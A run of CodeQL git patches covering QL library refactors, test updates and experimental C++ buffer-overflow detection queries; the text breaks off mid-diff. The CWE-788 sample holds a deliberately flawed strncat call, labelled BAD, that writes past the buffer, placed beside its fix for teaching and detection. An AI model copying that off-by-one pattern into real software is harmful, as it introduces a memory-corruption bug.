entities. --- cpp/ql/src/semmle/code/cpp/Type.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/Type.qll b/cpp/ql/src/semmle/code/cpp/Type.qll index f19bd6c7746..a0d8c42df32 100644 --- a/cpp/ql/src/semmle/code/cpp/Type.qll +++ b/cpp/ql/src/semmle/code/cpp/Type.qll @@ -274,7 +274,7 @@ class Type extends Locatable, @type { /** * Gets this type with any typedefs resolved. For example, given - * `typedef C T`, this would resolve `const T&` to `const C&`. + * `typedef C T`, this would resolve `const T&` to `const C&`. * Note that this will only work if the resolved type actually appears * on its own elsewhere in the program. */ From c69a051292173effecc510d5f5b8dcc2d5943948 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Tue, 26 Jan 2021 15:16:27 +0000 Subject: [PATCH 0828/1241] JS: Add test that depends on getAQlClass --- javascript/ql/test/library-tests/DataFlow/tests.expected | 2 ++ javascript/ql/test/library-tests/DataFlow/tests.ql | 7 +++++++ 2 files changed, 9 insertions(+) diff --git a/javascript/ql/test/library-tests/DataFlow/tests.expected b/javascript/ql/test/library-tests/DataFlow/tests.expected index b65daf255c0..7655a1fb761 100644 --- a/javascript/ql/test/library-tests/DataFlow/tests.expected +++ b/javascript/ql/test/library-tests/DataFlow/tests.expected @@ -1573,3 +1573,5 @@ sources | tst.js:117:10:117:20 | Object.seal | | tst.js:117:10:117:24 | Object.seal(x1) | | tst.js:117:22:117:23 | x1 | +stress_getAQlClass +| OK | diff --git a/javascript/ql/test/library-tests/DataFlow/tests.ql b/javascript/ql/test/library-tests/DataFlow/tests.ql index 459fdcb1503..f943806d46c 100644 --- a/javascript/ql/test/library-tests/DataFlow/tests.ql +++ b/javascript/ql/test/library-tests/DataFlow/tests.ql @@ -28,3 +28,10 @@ query predicate noBasicBlock(DataFlow::Node node) { not exists(node.getBasicBloc query predicate parameters(DataFlow::ParameterNode param) { any() } query predicate sources(DataFlow::SourceNode src) { any() } + +query predicate stress_getAQlClass(string msg) { + // Compile and evaluate `getAQlClass` so we get notified of potential problems with BDD size. + // Avoid outputting its result, however, as the output would constantly need to be updated. + count(DataFlow::Node node, string cls | cls = node.getAQlClass()) >= 42 and + msg = "OK" +} From 416aa49d99c55bf141509d9ff275a10f70dffb87 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 26 Jan 2021 17:24:03 +0100 Subject: [PATCH 0829/1241] C++: Capitalize alert message. --- .../CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 2 +- .../tests/CompilerRemovalOfCodeToClearBuffers.expected | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index 435d2f8f96a..db09de9430d 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -124,4 +124,4 @@ where not fc.isVariableUseBoundWithArgumentFunction() and not fc.isVariableUseBoundWithGlobalVariable() and not fc.isExistsCompilationFlagsBlockingRemoval() -select fc.getArgument(0), "this variable will not be cleared" +select fc.getArgument(0), "This variable will not be cleared." diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected index fbb5a3f1552..8d98d94ff46 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected @@ -1,3 +1,3 @@ -| test.c:13:9:13:13 | buff1 | this variable will not be cleared | -| test.c:35:9:35:13 | buff1 | this variable will not be cleared | -| test.c:43:9:43:13 | buff1 | this variable will not be cleared | +| test.c:13:9:13:13 | buff1 | This variable will not be cleared. | +| test.c:35:9:35:13 | buff1 | This variable will not be cleared. | +| test.c:43:9:43:13 | buff1 | This variable will not be cleared. | From 54f00de3e0e980e8e9fca11290ad2d67e422ccae Mon Sep 17 00:00:00 2001 From: Henning Makholm <hmakholm@github.com> Date: Tue, 26 Jan 2021 18:15:22 +0100 Subject: [PATCH 0830/1241] Add "tests" fields to test qlpacks This will allow `codeql resolve tests --ignore-dubious-cases` (and thus the VSCode extension) to recognize all `.ql` files in those packs as test cases, even if they don't have accompanying `.expected` files. CLI versions prior to 2.1.0 will choke on this, but it's almost 10 months since that came out. --- cpp/ql/test/qlpack.yml | 1 + csharp/ql/test/qlpack.yml | 1 + java/ql/test/qlpack.yml | 1 + javascript/ql/test/qlpack.yml | 1 + python/ql/test/qlpack.yml | 1 + 5 files changed, 5 insertions(+) diff --git a/cpp/ql/test/qlpack.yml b/cpp/ql/test/qlpack.yml index 008af57baef..89f684e9e3e 100644 --- a/cpp/ql/test/qlpack.yml +++ b/cpp/ql/test/qlpack.yml @@ -2,3 +2,4 @@ name: codeql-cpp-tests version: 0.0.0 libraryPathDependencies: codeql-cpp extractor: cpp +tests: . diff --git a/csharp/ql/test/qlpack.yml b/csharp/ql/test/qlpack.yml index 2b8cce91f07..9882ae18d14 100644 --- a/csharp/ql/test/qlpack.yml +++ b/csharp/ql/test/qlpack.yml @@ -2,3 +2,4 @@ name: codeql-csharp-tests version: 0.0.0 libraryPathDependencies: codeql-csharp extractor: csharp +tests: . diff --git a/java/ql/test/qlpack.yml b/java/ql/test/qlpack.yml index 75a27d69080..1db4e776c00 100644 --- a/java/ql/test/qlpack.yml +++ b/java/ql/test/qlpack.yml @@ -2,3 +2,4 @@ name: codeql-java-tests version: 0.0.0 libraryPathDependencies: codeql-java extractor: java +tests: . diff --git a/javascript/ql/test/qlpack.yml b/javascript/ql/test/qlpack.yml index 76f050e0b81..b60f895f131 100644 --- a/javascript/ql/test/qlpack.yml +++ b/javascript/ql/test/qlpack.yml @@ -2,3 +2,4 @@ name: codeql-javascript-tests version: 0.0.0 libraryPathDependencies: codeql-javascript extractor: javascript +tests: . diff --git a/python/ql/test/qlpack.yml b/python/ql/test/qlpack.yml index afae7523793..aca2524d023 100644 --- a/python/ql/test/qlpack.yml +++ b/python/ql/test/qlpack.yml @@ -2,3 +2,4 @@ name: codeql-python-tests version: 0.0.0 libraryPathDependencies: codeql-python extractor: python +tests: . From 500ea12224a47748d1bf41c184b7a49f0c8bdd41 Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Tue, 26 Jan 2021 19:14:46 +0100 Subject: [PATCH 0831/1241] Apply suggestions from code review Co-authored-by: Rasmus Wriedt Larsen <rasmuswriedtlarsen@gmail.com> --- .../dataflow/new/internal/DataFlowPrivate.qll | 29 ++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 0f587fc0e08..a5647f1f25d 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1029,7 +1029,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * Note that (CodeQL modeling of) content does not have to change type on data-flow * paths _inside_ the LHS, as the different allowed syntaxes here are merely a convenience. * Consequently, we model all LHS sequences as tuples, which have the more precise content - * model, making flow to the elements more precise. If an element is a starred varibale, + * model, making flow to the elements more precise. If an element is a starred variable, * we will have to mutate the content type to be list content. * * We may for instance have @@ -1107,6 +1107,33 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * * We illustrate the above steps on the assignment + * + * ```python + * (a, b) = ["a", SOURCE] + * ``` + * + * Looking at the content propagation to `a`: + * `["a", SOURCE]`: [ListElementContent] + * + * --Step 1--> + * + * `TIterableSequence((a, b))`: [ListElementContent] + * + * --Step 3--> + * + * `TIterableElement((a, b))`: [] + * + * --Step 4--> + * + * `(a, b)`: [TupleElementContent(0)] + * + * --Step 5c--> + * + * `a`: [] + * + * Meaning there is data-flow from the RHS to `a` (an over approximation). The same logic would be applied to show there is data-flow to `b`. Note that _Step 3_ and _Step 4_ would not have been needed if the RHS had been a tuple (since that would have been able to use _Step 2_ instead). + * + * Another, more complicated example: * ```python * (a, [b, *c]) = ["a", [SOURCE]] * ``` From cd85cf1645decf87c38f30659d497337e98c305d Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Tue, 26 Jan 2021 19:16:54 +0100 Subject: [PATCH 0832/1241] Update python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll --- .../src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index a5647f1f25d..48f6c17a5dc 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1127,7 +1127,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * `(a, b)`: [TupleElementContent(0)] * - * --Step 5c--> + * --Step 5a--> * * `a`: [] * From 4526a1dd2ff11f8c8d9ff860a4afe593051117f3 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 26 Jan 2021 14:12:29 +0100 Subject: [PATCH 0833/1241] Python: test for split lambda --- .../dataflow/consistency/dataflow-consistency.expected | 5 +++++ python/ql/test/experimental/dataflow/consistency/test.py | 7 +++++++ 2 files changed, 12 insertions(+) diff --git a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected index 6f03f2f621e..33a99bb570c 100644 --- a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected +++ b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected @@ -1,11 +1,16 @@ uniqueEnclosingCallable +| test.py:256:18:256:18 | ControlFlowNode for x | Node should have one enclosing callable but has 2. | +| test.py:256:18:256:18 | SSA variable x | Node should have one enclosing callable but has 2. | +| test.py:256:21:256:25 | ControlFlowNode for False | Node should have one enclosing callable but has 2. | uniqueType uniqueNodeLocation missingLocation uniqueNodeToString missingToString parameterCallable +| test.py:256:18:256:18 | ControlFlowNode for x | Callable mismatch for parameter. | localFlowIsLocal +| test.py:256:18:256:18 | ControlFlowNode for x | test.py:256:18:256:18 | SSA variable x | Local flow step does not preserve enclosing callable. | compatibleTypesReflexive unreachableNodeCCtx localCallNodes diff --git a/python/ql/test/experimental/dataflow/consistency/test.py b/python/ql/test/experimental/dataflow/consistency/test.py index e22ef663b6f..2402737bf02 100644 --- a/python/ql/test/experimental/dataflow/consistency/test.py +++ b/python/ql/test/experimental/dataflow/consistency/test.py @@ -249,3 +249,10 @@ def synth_arg_kwOverflow(): def synth_arg_kwUnpacked(): overflowCallee(**{"p": "42"}) + +def split_lambda(cond): + if cond: + pass + foo = lambda x: False + if cond: + pass From d3e0e84c37bdcae8c33eadd43f4bc23f07bcf9b3 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 26 Jan 2021 20:38:45 +0100 Subject: [PATCH 0834/1241] Python: Separate callable for lambdas Since lambdas are split, but their children are not, we use the Function as the callable. --- .../dataflow/new/internal/DataFlowPrivate.qll | 26 ++++++++++++++++++- .../consistency/dataflow-consistency.expected | 5 ---- 2 files changed, 25 insertions(+), 6 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 16e42e4d871..152e841d1d0 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -498,10 +498,13 @@ import ArgumentPassing */ newtype TDataFlowCallable = TCallableValue(CallableValue callable) { - callable instanceof FunctionValue + callable instanceof FunctionValue and + // TODO: push into FunctionValue + not callable.(FunctionValue).getOrigin().getNode() instanceof Lambda or callable instanceof ClassValue } or + TLambda(Function lambda) { lambda.getName() = "lambda" } or TModule(Module m) /** Represents a callable. */ @@ -544,6 +547,27 @@ class DataFlowCallableValue extends DataFlowCallable, TCallableValue { override CallableValue getCallableValue() { result = callable } } +/** A class representing a callable lambda. */ +class DataFlowLambda extends DataFlowCallable, TLambda { + Function lambda; + + DataFlowLambda() { this = TLambda(lambda) } + + override string toString() { result = lambda.toString() } + + override CallNode getACall() { result = getCallableValue().getACall() } + + override Scope getScope() { result = lambda.getEvaluatingScope() } + + override NameNode getParameter(int n) { result = getParameter(getCallableValue(), n) } + + override string getName() { result = "Lambda callable" } + + override CallableValue getCallableValue() { + result.(FunctionValue).getOrigin().getNode() = lambda.getDefinition() + } +} + /** A class representing the scope in which a `ModuleVariableNode` appears. */ class DataFlowModuleScope extends DataFlowCallable, TModule { Module mod; diff --git a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected index 33a99bb570c..6f03f2f621e 100644 --- a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected +++ b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected @@ -1,16 +1,11 @@ uniqueEnclosingCallable -| test.py:256:18:256:18 | ControlFlowNode for x | Node should have one enclosing callable but has 2. | -| test.py:256:18:256:18 | SSA variable x | Node should have one enclosing callable but has 2. | -| test.py:256:21:256:25 | ControlFlowNode for False | Node should have one enclosing callable but has 2. | uniqueType uniqueNodeLocation missingLocation uniqueNodeToString missingToString parameterCallable -| test.py:256:18:256:18 | ControlFlowNode for x | Callable mismatch for parameter. | localFlowIsLocal -| test.py:256:18:256:18 | ControlFlowNode for x | test.py:256:18:256:18 | SSA variable x | Local flow step does not preserve enclosing callable. | compatibleTypesReflexive unreachableNodeCCtx localCallNodes From 9b13834d28da8809e645be16da0e990b42024853 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 26 Jan 2021 21:17:07 +0100 Subject: [PATCH 0835/1241] Python: small refactor --- python/ql/src/semmle/python/Function.qll | 6 ++++++ .../semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 5 ++--- python/ql/src/semmle/python/objects/ObjectAPI.qll | 3 +++ 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/python/ql/src/semmle/python/Function.qll b/python/ql/src/semmle/python/Function.qll index 4ec4576bcd8..dbced93012f 100644 --- a/python/ql/src/semmle/python/Function.qll +++ b/python/ql/src/semmle/python/Function.qll @@ -39,6 +39,12 @@ class Function extends Function_, Scope, AstNode { exists(YieldFrom y | y.getScope() = this) } + /** + * Whether this is a lambda. + * We detect this by comparing its name to the one the extractor gives to lambdas. + */ + predicate isLambda() { this.getName() = "lambda" } + /** Whether this function is declared in a class and is named `__init__` */ predicate isInitMethod() { this.isMethod() and this.getName() = "__init__" } diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 152e841d1d0..122ac1ac28d 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -499,12 +499,11 @@ import ArgumentPassing newtype TDataFlowCallable = TCallableValue(CallableValue callable) { callable instanceof FunctionValue and - // TODO: push into FunctionValue - not callable.(FunctionValue).getOrigin().getNode() instanceof Lambda + not callable.(FunctionValue).isLambda() or callable instanceof ClassValue } or - TLambda(Function lambda) { lambda.getName() = "lambda" } or + TLambda(Function lambda) { lambda.isLambda() } or TModule(Module m) /** Represents a callable. */ diff --git a/python/ql/src/semmle/python/objects/ObjectAPI.qll b/python/ql/src/semmle/python/objects/ObjectAPI.qll index faee953abbf..60d447ffb9f 100644 --- a/python/ql/src/semmle/python/objects/ObjectAPI.qll +++ b/python/ql/src/semmle/python/objects/ObjectAPI.qll @@ -720,6 +720,9 @@ abstract class FunctionValue extends CallableValue { /** Gets a class that this function may return */ abstract ClassValue getAnInferredReturnType(); + + /** Wheter this is a lambda function */ + predicate isLambda() { this.getOrigin().getNode() instanceof Lambda } } /** Class representing Python functions */ From de0bbc8826982276d00bf9edc655443801e3ca5c Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Tue, 26 Jan 2021 23:47:07 +0300 Subject: [PATCH 0836/1241] Apply suggestions from code review Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp | 2 +- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql | 5 ++--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp index 372a3e1d1c4..51424ce7619 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qhelp @@ -17,7 +17,7 @@ If terminal zero is present, then the specified expression is meaningless.</p> </recommendation> <example> <p>The following example demonstrates an erroneous and corrected use of the strlen function.</p> -<sample src="AccessOfMemoryLocationAfterEndOfBuffer.c" /> +<sample src="AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.c" /> </example> <references> diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql index 80c7f2104ab..a1d4a169b20 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql @@ -1,8 +1,7 @@ /** * @name Access Of Memory Location After End Of Buffer - * @description --The expression buffer [strlen (buffer)] = 0 is potentially dangerous, if the variable buffer does not have a terminal zero, then access beyond the bounds of the allocated memory is possible, which will lead to undefined behavior. - * --If terminal zero is present, then the specified expression is meaningless. - * --We recommend using another method for calculating the string length. + * @description The expression `buffer [strlen (buffer)] = 0` is potentially dangerous, if the variable `buffer` does not have a terminal zero, then access beyond the bounds of the allocated memory is possible, which will lead to undefined behavior. + * If terminal zero is present, then the specified expression is meaningless. * @kind problem * @id cpp/access-memory-location-after-end-buffer * @problem.severity warning From fc9d2190574dcf0ab87dcb876a17530493fc35fc Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Tue, 26 Jan 2021 23:50:54 +0300 Subject: [PATCH 0837/1241] Update AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql index a1d4a169b20..77fc29719f6 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql @@ -12,13 +12,12 @@ */ import cpp -import semmle.code.cpp.valuenumbering.HashCons +import semmle.code.cpp.valuenumbering.GlobalValueNumbering from FunctionCall fc, AssignExpr expr, ArrayExpr exprarr where - fc.getTarget().hasGlobalOrStdName("strlen") and exprarr = expr.getLValue() and expr.getRValue().getValue().toInt() = 0 and exprarr.getArrayOffset() = fc and - hashCons(fc.getArgument(0)) = hashCons(exprarr.getArrayBase()) -select expr, "use a different method to calculate the length." + globalValueNumber(fc.getArgument(0)) = globalValueNumber(exprarr.getArrayBase()) +select expr, "potential unsafe or redundant assignment." From 636fe73f400782951db790ee8bd4f826f0686fd1 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Tue, 26 Jan 2021 23:52:18 +0300 Subject: [PATCH 0838/1241] Update AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql index 77fc29719f6..3e1cfdd6396 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.ql @@ -14,7 +14,7 @@ import cpp import semmle.code.cpp.valuenumbering.GlobalValueNumbering -from FunctionCall fc, AssignExpr expr, ArrayExpr exprarr +from StrlenCall fc, AssignExpr expr, ArrayExpr exprarr where exprarr = expr.getLValue() and expr.getRValue().getValue().toInt() = 0 and From f074564dc1583be01fc8b5d48963240cfd197223 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 00:00:18 +0300 Subject: [PATCH 0839/1241] Apply suggestions from code review Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c | 4 ++-- ...ccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp | 7 +++---- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql | 4 +--- 3 files changed, 6 insertions(+), 9 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c index 9b08034dec5..060a22b5c18 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c @@ -1,4 +1,4 @@ -strncat(dest, src, sizeof(dest) - strlen(dest)); //bad: +strncat(dest, source, sizeof(dest) - strlen(dest)); // BAD: writes a zero byte past the `dest` buffer. -strncat(dest, src, sizeof(dest) - strlen(dest) -1); //good: +strncat(dest, source, sizeof(dest) - strlen(dest) -1); // GOOD: Reserves space for the zero byte. diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp index 182279f6b6b..5c2154097ec 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp @@ -3,18 +3,17 @@ "qhelp.dtd"> <qhelp> <overview> -<p>The standard library function <code> strncat </code> appends the source string to the target string. The third argument specifies the maximum number of characters to add and must be less than the remaining space in the target buffer. Calls of the form <code> strncat (dest, src, sizeof (dest) - strlen (dest)) </code> set the third argument to one more than possible. So when the buffer is full, the expression <code> sizeof (dest) - strlen (dest) </code> will be equal to one, and not zero as the programmer might think. Making a call of this type may result in a zero byte being written just outside the buffer.</p> +<p>The standard library function <code>strncat(dest, source, count)</code> appends the <code>source</code> string to the <code>dest</code> string. <code>count</code> specifies the maximum number of characters to append and must be less than the remaining space in the target buffer. Calls of the form <code> strncat (dest, source, sizeof (dest) - strlen (dest)) </code> set the third argument to one more than possible. So when the <code>dest</code> is full, the expression <code> sizeof (dest) - strlen (dest) </code> will be equal to one, and not zero as the programmer might think. Making a call of this type may result in a zero byte being written just outside the <code>dest</code> buffer.</p> -<p>Loss of detection includes cases of use of situations when memory allocation for a buffer occurs with a strong nesting or outside the limits of the function. It is also worth paying attention to the exclusion from the detection of situations when the second argument of the function is a constant string, since this situation creates a large number of false detection.</p> </overview> <recommendation> -<p>We recommend using an extra byte call. for example <code> strncat(dest, src, sizeof(dest)-strlen(dest)-1) </code>.</p> +<p>We recommend subtracting one from the third argument. For example, replace <code>strncat(dest, source, sizeof(dest)-strlen(dest))</code> with <code>strncat(dest, source, sizeof(dest)-strlen(dest)-1)</code>.</p> </recommendation> <example> -<p>The following example demonstrates an erroneous and corrected use of the strncat function.</p> +<p>The following example demonstrates an erroneous and corrected use of the <code>strncat</code> function.</p> <sample src="AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c" /> </example> diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql index fd82fc86fc3..4bc3d0e1fc4 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql @@ -1,8 +1,6 @@ /** * @name Access Of Memory Location After The End Of A Buffer Using Strncat - * @description --Calls of the form strncat(dest, src, sizeof (dest) - strlen (dest)) set the third argument to one more than possible. - * --So when the buffer is full, the expression sizeof(dest) - strlen (dest) will be equal to one, and not zero as the programmer might think. - * --Making a call of this type may result in a zero byte being written just outside the buffer. + * @description Calls of the form `strncat(dest, source, sizeof (dest) - strlen (dest))` set the third argument to one more than possible. So when `dest` is full, the expression `sizeof(dest) - strlen (dest)` will be equal to one, and not zero as the programmer might think. Making a call of this type may result in a zero byte being written just outside the `dest` buffer. * @kind problem * @id cpp/access-memory-location-after-end-buffer * @problem.severity warning From 5d5cd4fde57b9794476e1cd7d5fb4ff4249a7f6d Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 27 Jan 2021 00:10:04 +0300 Subject: [PATCH 0840/1241] Update AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql index 4bc3d0e1fc4..169280cbd87 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql @@ -12,6 +12,7 @@ import cpp import semmle.code.cpp.valuenumbering.HashCons +import semmle.code.cpp.valuenumbering.GlobalValueNumbering /** * A call to `strncat` of the form `strncat(buff, str, someExpr - strlen(buf))`, for some expression `someExpr` equal to `sizeof(buff)`. @@ -22,8 +23,8 @@ class WrongCallStrncat extends FunctionCall { WrongCallStrncat() { this.getTarget().hasGlobalOrStdName("strncat") and // the expression of the first argument in `strncat` and `strnlen` is identical - hashCons(this.getArgument(0)) = - hashCons(this.getArgument(2).(SubExpr).getRightOperand().(StrlenCall).getStringExpr()) and + globalValueNumber(this.getArgument(0)) = + globalValueNumber(this.getArgument(2).(SubExpr).getRightOperand().(StrlenCall).getStringExpr()) and // using a string constant often speaks of manually calculating the length of the required buffer. ( not this.getArgument(1) instanceof StringLiteral and From d29fdda779674a3663908803d2d57ea163c0391d Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 27 Jan 2021 01:20:51 +0100 Subject: [PATCH 0841/1241] Python: Only generate one post-update node, even if there are multiple reasons for doing so. Solves `uniqueNodeToString` inconsistencies (and probably saves quite a lot of nodes). --- .../dataflow/new/internal/DataFlowPrivate.qll | 112 +++++++++++------- 1 file changed, 66 insertions(+), 46 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 16e42e4d871..ff240140fa7 100644 --- 